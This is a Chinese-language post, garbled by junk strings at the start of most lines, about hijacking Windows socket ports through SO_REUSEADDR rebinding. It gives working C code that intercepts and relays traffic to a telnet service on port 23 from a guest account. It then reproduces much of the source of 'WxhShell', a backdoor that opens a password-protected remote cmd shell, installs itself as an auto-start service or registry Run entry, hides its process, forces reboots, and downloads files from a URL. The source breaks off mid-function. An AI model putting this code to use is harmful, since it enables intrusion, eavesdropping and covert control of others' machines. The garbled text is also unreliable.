在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
HEht^/pJ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
(ai E!c 42U3> saddr.sin_family = AF_INET;
W%Br%VQJ VskyRxfdW3 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
xg. d)n 1a/@eqF'' bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
,yAvLY5P Ga N4In[d 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
rQj.W6w= HTf7r- 这意味着什么?意味着可以进行如下的攻击:
vRn^n |+cyb<(V J 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
9);a 0}*5 p?0 a"5Q 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Lo7R^> ra_`NsKF} 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
fVb&=%e g9GE0DbT` 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
lJ R",_ CuT[V?^iD 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
UKMrR9[x* L7q%u.nB1 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
6>Lr jW?.>( 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
t#6gjfIi N''9Bt+: #include
G)5%f\& #include
k+JDbJ@ #include
G?'L1g[lc #include
}4A+J"M4y DWORD WINAPI ClientThread(LPVOID lpParam);
gPQ2i])"Q int main()
rguC#Xt!4 {
JS!rZi WORD wVersionRequested;
oKA8)~Xqou DWORD ret;
o LuGW5wzj WSADATA wsaData;
*1Nz
VV BOOL val;
@xSS`&b SOCKADDR_IN saddr;
kTc'k SOCKADDR_IN scaddr;
ylmf^G@JC int err;
Kn=P~,FaG3 SOCKET s;
@e$zEj5 SOCKET sc;
!;zacw int caddsize;
224I%x., HANDLE mt;
{xr4CDP DWORD tid;
LPO3B W wVersionRequested = MAKEWORD( 2, 2 );
uDQ
d48> err = WSAStartup( wVersionRequested, &wsaData );
uJF,:}qA if ( err != 0 ) {
3MNo&0M9 printf("error!WSAStartup failed!\n");
]*ZL>fuD| return -1;
,%v }
ASR"<] saddr.sin_family = AF_INET;
xh_6@}D2J *D*K`dk //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
VISNmz2P Vyu 0OiGcR saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
h+t{z"Ic= saddr.sin_port = htons(23);
iN<& if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
pRPz1J$58 {
Y.[^3 printf("error!socket failed!\n");
$-jj%x\} return -1;
EG@*J*|S }
aoI{<,( val = TRUE;
d_1w
9FA //SO_REUSEADDR选项就是可以实现端口重绑定的
EoIP#Cnd1 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
?9OiF-:n {
0Evmq3,9 printf("error!setsockopt failed!\n");
{-7];e return -1;
Q$iv27 }
B~jl1g| //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
E`u=$~K //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
a}hpcr({? //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
&>*fJ wu/]M~XwI if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
2}b1PMpZG {
>m44U 9 ret=GetLastError();
-9.S?N'T>; printf("error!bind failed!\n");
tm#T8iF return -1;
O}Fp\" }
TL1pv l listen(s,2);
'7u#uL,pa1 while(1)
[ -{L@ {
4g$mz:vo caddsize = sizeof(scaddr);
h=EJNz>U //接受连接请求
aq oT sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
`5=0f}E if(sc!=INVALID_SOCKET)
ZV,n-M = {
7K
{/2k mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Ac^}wXp if(mt==NULL)
_F;(#D {
N&-d8[~ printf("Thread Creat Failed!\n");
>e>Q'g{ break;
) e;)9~ }
z,X
^; }
6^if%62l& CloseHandle(mt);
V[HHP_ }
8ooj) closesocket(s);
9"I/jd0B WSACleanup();
TStu)6%` return 0;
TsfOod }
]uWx<aDB DWORD WINAPI ClientThread(LPVOID lpParam)
6wqq"6w {
b U-Cd SOCKET ss = (SOCKET)lpParam;
&t+03c8g! SOCKET sc;
w`CGDF\Oo unsigned char buf[4096];
5owUQg,W SOCKADDR_IN saddr;
M$FQoRwH long num;
OzA"i y DWORD val;
U~s&}M\n DWORD ret;
Y"K7$+5#\ //如果是隐藏端口应用的话,可以在此处加一些判断
dSS_^E[{ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
`Ft.Rwj2:m saddr.sin_family = AF_INET;
u;F++$= saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
&g\D-At saddr.sin_port = htons(23);
iKv{)5 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
05TZ {
s~Ni\SF printf("error!socket failed!\n");
Y6?d
y\ return -1;
<fJoHS }
6HCP1`gg val = 100;
KNic$:i if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
]$EKowi {
38>8{Ma ret = GetLastError();
f]h99T return -1;
\XCs(lNh }
-9UQs.Nv if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
.o]vjNrd/ {
Y(m/E.h.~ ret = GetLastError();
Y@Lv>p return -1;
BikmAa }
eg3zpgZ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
ME>OTs {
$83TA><a printf("error!socket connect failed!\n");
']Nw{}eS` closesocket(sc);
3R
!Mfz* closesocket(ss);
V/.Y]dN5 return -1;
E@}t1!E< }
l=Jbuc while(1)
D`o*OlU {
HfFP4#C, //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
S=U*is //如果是嗅探内容的话,可以再此处进行内容分析和记录
;4z6="<Y //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
}mxy6m , num = recv(ss,buf,4096,0);
R.Ao%VT if(num>0)
8*V3g_z send(sc,buf,num,0);
:5L9tNr{_ else if(num==0)
NJ/6_e break;
'&I.w p`^ num = recv(sc,buf,4096,0);
t9Ht
54 if(num>0)
Sl/[9-a) send(ss,buf,num,0);
d(jd{L4d else if(num==0)
w-Y-;*S break;
'ZgrN14 }
+Tf ,2?O closesocket(ss);
:tu6'X\k closesocket(sc);
~]*P/'-{# return 0 ;
j,K]TJ }
u%Bk"noCa *T$`5| nAZuA]p}S] ==========================================================
21O!CvX WtN o@e' 下边附上一个代码,,WXhSHELL
;dPyhR 7{
(t_N> ==========================================================
,P3nZ @SF*Kvb& #include "stdafx.h"
^%@(>:)0 ZxlQyr`~a( #include <stdio.h>
f]tc$`vb #include <string.h>
}oIA*:5 #include <windows.h>
ZZL.&Ho #include <winsock2.h>
QmvhmsDL #include <winsvc.h>
ArDkJ`DE #include <urlmon.h>
x=pq-&9>B %G1kkcdH< #pragma comment (lib, "Ws2_32.lib")
B<SuNbR #pragma comment (lib, "urlmon.lib")
)[|`-M~u 2j9Mr #define MAX_USER 100 // 最大客户端连接数
'2vZ%C$ #define BUF_SOCK 200 // sock buffer
ypM0}pdvTp #define KEY_BUFF 255 // 输入 buffer
f
wWI2"} {9q~bt #define REBOOT 0 // 重启
ykrb/j|rK #define SHUTDOWN 1 // 关机
%>_ZUu3M ]x8^s #define DEF_PORT 5000 // 监听端口
AifnC4 YDE;mIW #define REG_LEN 16 // 注册表键长度
H4ml0SS^ #define SVC_LEN 80 // NT服务名长度
9XImgeAs .uG|Vq1v // 从dll定义API
494"-F 6 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
ujGvrYj typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
^a#Vp typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Z&e_yl typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
BUqe~E|I 8<#X]I_eP+ // wxhshell配置信息
W-ErzX struct WSCFG {
5(R ./
int ws_port; // 监听端口
u=I \0H char ws_passstr[REG_LEN]; // 口令
N2[EdOJT_ int ws_autoins; // 安装标记, 1=yes 0=no
w#_/CUL char ws_regname[REG_LEN]; // 注册表键名
PTfTT_t char ws_svcname[REG_LEN]; // 服务名
o(Yj[:+m char ws_svcdisp[SVC_LEN]; // 服务显示名
uO8z . char ws_svcdesc[SVC_LEN]; // 服务描述信息
DUUQz:?{J char ws_passmsg[SVC_LEN]; // 密码输入提示信息
>0z(+}]3z int ws_downexe; // 下载执行标记, 1=yes 0=no
M@ILB-H char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
bq#*XCt# char ws_filenam[SVC_LEN]; // 下载后保存的文件名
r)UtS4 7 N=]2vyh };
#q'J`BC r8x<-u4 // default Wxhshell configuration
x?v/| struct WSCFG wscfg={DEF_PORT,
Z+!._uA "xuhuanlingzhe",
=:OS"qD3l 1,
s4uZ; "Wxhshell",
V+j58Wuf "Wxhshell",
s{\USD6 "WxhShell Service",
lArYlR} "Wrsky Windows CmdShell Service",
eT* )r~ "Please Input Your Password: ",
@}k5rcQ*/ 1,
MA1.I4dm "
http://www.wrsky.com/wxhshell.exe",
]f#1G$ "Wxhshell.exe"
5]D"y Ay81 };
(!`TO{ !6P p2s*'dab7 // 消息定义模块
N]f"+ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
N=R|s$,Oy9 char *msg_ws_prompt="\n\r? for help\n\r#>";
:!H]gC
4 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
3m:[o`L char *msg_ws_ext="\n\rExit.";
}{/3yXk[G char *msg_ws_end="\n\rQuit.";
YBb%D char *msg_ws_boot="\n\rReboot...";
R+
#(\ char *msg_ws_poff="\n\rShutdown...";
{+r0Nikx_ char *msg_ws_down="\n\rSave to ";
:%-xiv *\ZK(/V char *msg_ws_err="\n\rErr!";
Nr 5h%<`I char *msg_ws_ok="\n\rOK!";
3.,O7 k7y X/Umfci char ExeFile[MAX_PATH];
l'TM^B)`c int nUser = 0;
<d!_.f}v HANDLE handles[MAX_USER];
O]&DDzo int OsIsNt;
g*t(%;_m iv@ey-,< SERVICE_STATUS serviceStatus;
F}
d>pK9fn SERVICE_STATUS_HANDLE hServiceStatusHandle;
VA{2a7] +72[*_ < // 函数声明
xaiA2 int Install(void);
CJ0{>? int Uninstall(void);
+
q@kRQY;n int DownloadFile(char *sURL, SOCKET wsh);
4mNg(w=NF int Boot(int flag);
~Iw7Xq E2 void HideProc(void);
&+]x int GetOsVer(void);
X;`XkOjk int Wxhshell(SOCKET wsl);
7L68voC@U void TalkWithClient(void *cs);
>HMuh) int CmdShell(SOCKET sock);
,FWC|uM" int StartFromService(void);
AY3nQH
int StartWxhshell(LPSTR lpCmdLine);
t*X
k'(v Xi vzhI4 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
RE~:+.eB VOID WINAPI NTServiceHandler( DWORD fdwControl );
t0t" =(d Y v22,|: // 数据结构和表定义
&)Y26*(` SERVICE_TABLE_ENTRY DispatchTable[] =
HAa$pGb {
5`] ;[M9 {wscfg.ws_svcname, NTServiceMain},
E2J.t`H {NULL, NULL}
5k /Y7+*?E };
qRy<W T#&tf^; // 自我安装
,
H$1iJ? int Install(void)
*htv:Sr {
VsLlPw{ char svExeFile[MAX_PATH];
aNn\URR HKEY key;
h,QC#Ak o strcpy(svExeFile,ExeFile);
*2wFLh 6%N.'wf // 如果是win9x系统,修改注册表设为自启动
Lckb*/jV& if(!OsIsNt) {
<*O~?=6p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
QAs$fi}f]s RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
wCT. (d_ RegCloseKey(key);
G+Gd;`4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
-n.ltgW@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
&,vPZ,7l RegCloseKey(key);
MBlhlMyI return 0;
ME'hN->c }
w=]id'`?q }
\jlem <& }
E"8cB]`|8 else {
ey4RKk, %p? +r // 如果是NT以上系统,安装为系统服务
)qxZHV SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
i n}N[ if (schSCManager!=0)
``
!BE"yN {
_; 7{1n SC_HANDLE schService = CreateService
#9=as Y (
ib$_x:OO" schSCManager,
lN@SfM4\ wscfg.ws_svcname,
;fg8,(SM^ wscfg.ws_svcdisp,
8#?jYhT7 SERVICE_ALL_ACCESS,
BT[jD}? SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
<~wr;"S SERVICE_AUTO_START,
kY e3A&J SERVICE_ERROR_NORMAL,
(- ]A1WQ? svExeFile,
?;{d NULL,
%qN_<W&Ze NULL,
% Q| >t~ NULL,
Pr|:nJs NULL,
oaxCcB=\ NULL
CJ'pZ]\G );
53vnON#{* if (schService!=0)
.&|Ivz6 {
Id_? CloseServiceHandle(schService);
jS_fwuM CloseServiceHandle(schSCManager);
*CsRO strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
8Jnl!4 strcat(svExeFile,wscfg.ws_svcname);
/3( a'o[ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
cu)ssT RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
os<YfMM<:/ RegCloseKey(key);
0f"9wPC return 0;
99xs5!4s }
&35 6
}
SEf:u CloseServiceHandle(schSCManager);
)83UF
r4kP }
<m") 2dJ }
?\_\pa/+ H);O. m return 1;
EMe3Xb
` }
m6'VMW s"tyCDc.c // 自我卸载
*OoM[wEY int Uninstall(void)
\U(;%V {
>%x N?% HKEY key;
fMGL1VN nu'r` if(!OsIsNt) {
1=R6||8ws if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
e|6kgj3/ RegDeleteValue(key,wscfg.ws_regname);
G6l:El& RegCloseKey(key);
*<.{sx^Gk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
C 2$_Ad=s RegDeleteValue(key,wscfg.ws_regname);
ihv=y\Jt RegCloseKey(key);
l y!vbpE_ return 0;
BYhF? }
ao+lLCr }
D's Tv}P }
I-L52%E] else {
y;'yob i .O670D SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
'>8IOC if (schSCManager!=0)
_zuaImJ0o {
8XS_I{}? SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
HUP~ if (schService!=0)
H%`$@U> {
1R}rL#h;= if(DeleteService(schService)!=0) {
{>x6SVF CloseServiceHandle(schService);
he/WqCZg CloseServiceHandle(schSCManager);
FR bmeq3c return 0;
F!N D }
CrvL[6i CloseServiceHandle(schService);
?%QWpKO7X }
]npsclvJ CloseServiceHandle(schSCManager);
#8cpZ]# }
O_gr{L} }
0@O:C:: >g {w, return 1;
( o(, ; }
}jfOs(Q] xOKLc!J // 从指定url下载文件
-[h2fqu1 int DownloadFile(char *sURL, SOCKET wsh)
YI877T9> {
<l#|I'hP HRESULT hr;
Lo<-;;vQ char seps[]= "/";
vZ&{ char *token;
~!t# M2Sk char *file;
?j'Nx_RoX char myURL[MAX_PATH];
%ZKP d8 char myFILE[MAX_PATH];
6k4ZzQ} >ocDh~@aP strcpy(myURL,sURL);
zp4aiMn1F token=strtok(myURL,seps);
q=, while(token!=NULL)
,$H[DX {
;?q>F3n file=token;
.eNeqC token=strtok(NULL,seps);
Ba8 s }
t9U-c5bR M/d6I$~7z GetCurrentDirectory(MAX_PATH,myFILE);
?o>JX.Nl&7 strcat(myFILE, "\\");
B'AU~#d strcat(myFILE, file);
XABB6J] send(wsh,myFILE,strlen(myFILE),0);
goMv8d send(wsh,"...",3,0);
0=:]tSD\F hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
=%i~HDiy if(hr==S_OK)
uQ(C,f[6p return 0;
# $N) else
E"/r*C+T return 1;
}ldOxJSB? ;2&ym)` }
N=vb*3ECg _nn\O3TB // 系统电源模块
U8>M`e"D int Boot(int flag)
'joc8o sS {
@5=2+ M HANDLE hToken;
ZUA%ZkX=F TOKEN_PRIVILEGES tkp;
WDF;`o*3 ;ndwVZ~, if(OsIsNt) {
2F
z;TNS OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
MsD@pa LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
lTR/o tkp.PrivilegeCount = 1;
u)hr tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
f[XsnN2 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
eI^Q!b8n if(flag==REBOOT) {
aioN)V if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
BH<jnQ return 0;
ozCH1V{p }
cns~)j~ else {
]di^H>,xU if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
4WAs_~ return 0;
^*$lCUv8p }
Fr|Ts>Kx }
=>0G else {
W,D$=Bg if(flag==REBOOT) {
)q8!:Z if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
OL2 b return 0;
/[FES78p }
myvn@OsEw else {
Qt~QJJN?oF if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
'CfM'f3uu return 0;
5*#3v:l/9 }
+lNAog }
"J=A(w5 X }""=
S< return 1;
w vnuE<o8 }
NDo>"in FSNzBN // win9x进程隐藏模块
>hFg,5 _l3 void HideProc(void)
.wPu
#* {
k@Q>(` %"gV>E_u HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
C4h4W3w if ( hKernel != NULL )
aj|gt {
ssUm1F\ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
\Um & ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
O={
?c1i: FreeLibrary(hKernel);
GEGg
S&SM }
FWb`F& P.>5`^ return;
x9qoS)@CM }
Y2oN.{IH LvcGh // 获取操作系统版本
+wpQ$)\ int GetOsVer(void)
8j^3_lD {
mW 4{* OSVERSIONINFO winfo;
Cu,#w3JR winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
#^zUaPV 7r GetVersionEx(&winfo);
0Vwl\,7z9 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
x#hGJT return 1;
dFw>SYrpu else
q)F@f / return 0;
rl0|)j }
MVYf-'\^ Pf?zszvs // 客户端句柄模块
h;RKF\U:" int Wxhshell(SOCKET wsl)
(q+EP(Q {
`/+PZqdC SOCKET wsh;
?c0@A*:o struct sockaddr_in client;
e"u89acp DWORD myID;
,b!]gsds D/<;9hw while(nUser<MAX_USER)
47
|&(,{ {
eN Y? int nSize=sizeof(client);
cpJ(77e wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
sR*.i?lN if(wsh==INVALID_SOCKET) return 1;
H]a@"gO rD*CLqK handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
,f3Ck*M if(handles[nUser]==0)
=(\xe|
Q closesocket(wsh);
](tv`1A,Wd else
O~L/>Ya nUser++;
iI@m e= }
{T(z@0Xu WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
0%OV3` JQdeI+ return 0;
okSCM#&:[2 }
a?gziCmS?C 5.o{A#/NTl // 关闭 socket
8r-'m%l void CloseIt(SOCKET wsh)
<}z,!w8 {
,EuJ0]2 closesocket(wsh);
SBog7An9SI nUser--;
4.o[:5' ExitThread(0);
#CcWsI>+w> }
:,*{,^2q: u^Ss8}d // 客户端请求句柄
|j>fsk~ void TalkWithClient(void *cs)
Xx;4 {
!^*-]p/z WY`hNT6M SOCKET wsh=(SOCKET)cs;
oHvVZ char pwd[SVC_LEN];
$9In\x
char cmd[KEY_BUFF];
cpe/GvD5] char chr[1];
%$3)xtS6 int i,j;
`GQ'yv Qf<@
:T* while (nUser < MAX_USER) {
/4_^'RB *5Aq\g,n if(wscfg.ws_passstr) {
~K-_]*[x if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
4Px //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Ua](o H //ZeroMemory(pwd,KEY_BUFF);
B(l8&
i=0;
GT(nW|v while(i<SVC_LEN) {
jn/
J-X= f6O5k8n // 设置超时
VsTa!V^~ fd_set FdRead;
7]&ouT struct timeval TimeOut;
b :J$ FD_ZERO(&FdRead);
HaiaDY) FD_SET(wsh,&FdRead);
}ki}J >j|f TimeOut.tv_sec=8;
TexSUtx@$ TimeOut.tv_usec=0;
g#b uy int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
VfON{ 1g if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
cJQ& #u [bIR$c[G if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
S`v+rQjW pwd
=chr[0]; FaVeP%v
if(chr[0]==0xd || chr[0]==0xa) { g XThdNU4G
pwd=0; o;\c$|TNU
break; 2ij/!
} @w]z"UCwV@
i++; DD(K@M
} .dStV6
X1GpLy)p
// 如果是非法用户,关闭 socket ++ZtL\h{7
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6;^ e
} TP-<Lhy
H.R7,'9
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2B<0|EGtzw
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jh3XG
SK&? s`
while(1) { H;(|&Asq>
"2FI3M=
ZeroMemory(cmd,KEY_BUFF); QTKN6P
\'AS@L"Wj^
// 自动支持客户端 telnet标准 Z/hk)GI
j=0; R]8^
@i1
while(j<KEY_BUFF) { $k=5nJ
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SF#Rc>v
cmd[j]=chr[0]; IX]K"hT
if(chr[0]==0xa || chr[0]==0xd) { +CF"Bm8@
cmd[j]=0; -'jPue2\
break; E
02l=M
} HGJfj*JH
j++; ""2g{!~r
} =O?#>3A}
sHwn,4|iY
// 下载文件 :(o6^%x
if(strstr(cmd,"http://")) { oy?>e1Sy*
send(wsh,msg_ws_down,strlen(msg_ws_down),0); )rP)-op|A
if(DownloadFile(cmd,wsh)) FJj #
send(wsh,msg_ws_err,strlen(msg_ws_err),0); HvSYE[Zt|
else Edi`x5"l
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }[%d=NY
} ])YGeY(V0+
else { YEB@ p.
vKCgtk
switch(cmd[0]) { !R/-|Kjy
lx vRF93a.
// 帮助 yavoGk
case '?': { 5?()o}VjAO
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3{;W!/&>
break; 9*lkx#
} 5_}e?T&s
// 安装 !Ui"<0[,
case 'i': { %j*i=
if(Install()) :?}U Z#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); l*+5WrOS
else _P]!J~$5
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZJ7<!?6
break; xQetAYP`
} |8s)kQ4$
// 卸载 .{@aQwN
case 'r': { 0/F/U=Z!
if(Uninstall()) sivd@7r\Fa
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
mGK-&|gq
else 5v
uB87`
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m<cvx3e
break; I
)LO@
} +[sZE
X
// 显示 wxhshell 所在路径 1>!wm0;x
case 'p': { v-J9N(y"
char svExeFile[MAX_PATH]; x`#|8
strcpy(svExeFile,"\n\r"); yQXHEB
strcat(svExeFile,ExeFile); RXj6L~vs5_
send(wsh,svExeFile,strlen(svExeFile),0); z U~o"Jv
break; ^S'#)H-8C3
} C;3>q*Am4
// 重启 =CE(M},d
case 'b': { BIr24N
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K[XFJ 9
if(Boot(REBOOT)) )E2^G)J$W
send(wsh,msg_ws_err,strlen(msg_ws_err),0); i{$h]D_fD
else { 5"]t{-PD
closesocket(wsh); >,JA=s
ExitThread(0); kZ0|wML8
} bxS+ R\
break; UW%.G
} ]-D;t~
// 关机 $YyN-C
case 'd': { F9|\(St &
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >WsRCBA
if(Boot(SHUTDOWN)) f#W5Nu'*!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); DjX*2O
else { mu1Lg s$;
closesocket(wsh); 8>}^W
ExitThread(0); +foyPj!%
} P
K]$D[a0
break; _(q|W3
} "1U:qr2-H
// 获取shell ':v@Pr|
case 's': { MR/8
CmdShell(wsh); $6c8<!B_
closesocket(wsh); -[I}"Glz:
ExitThread(0); dUTF0U
break; 06&:X^
} AV0C9a/td
// 退出 1f"LAs`%
case 'x': { ![v@+9
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); p$5+^x'(
CloseIt(wsh); c
4<~?L
break; j|u6TG
} NTHy!y<!h
// 离开 Use`E
case 'q': { Nz,8NM]
send(wsh,msg_ws_end,strlen(msg_ws_end),0); +U%U3tAvs
closesocket(wsh); H@uCbT
WSACleanup(); u,d@oF(=
exit(1);
zai x_mR
break; zlh}8Es
} H nRd
} l+>&-lX'
} ?T\m
V}
l"\W] 'T:r
// 提示信息 0#}@-e
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X:*Ut3"
} Q&Rj)1!
} Daa2.*
mxYsP6&
return; 2[\I{<2/9
} 7DU"QeLeb
3zO'=gwJ
// shell模块句柄 rf% E+bh4
int CmdShell(SOCKET sock) ,Z7tpFC
{ *S).@j\{W
STARTUPINFO si; BVx: JiA
ZeroMemory(&si,sizeof(si)); %C]K`=vI-
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T5eXcI0t
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; JZ[~3swR
PROCESS_INFORMATION ProcessInfo; QOECpk-
char cmdline[]="cmd"; 3q=A35*LT>
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w,\#)<boyb
return 0; o,!r t1&0
} b@OL!?JP
y7I')}SC
// 自身启动模式 DR`d^aBWQ
int StartFromService(void) HR85!S`
{ rurC! -
typedef struct 4s<*rKm~
{ pcM'j#;
DWORD ExitStatus; |M?yCo
DWORD PebBaseAddress; =H_|007C
DWORD AffinityMask; t(4%l4i;X
DWORD BasePriority; OBF2?[V~
ULONG UniqueProcessId; %bnDxCj"
ULONG InheritedFromUniqueProcessId; eZ]4,,m
} PROCESS_BASIC_INFORMATION; P5+FZzQ
0Ts[IHpg&E
PROCNTQSIP NtQueryInformationProcess; 5@$b@jTd
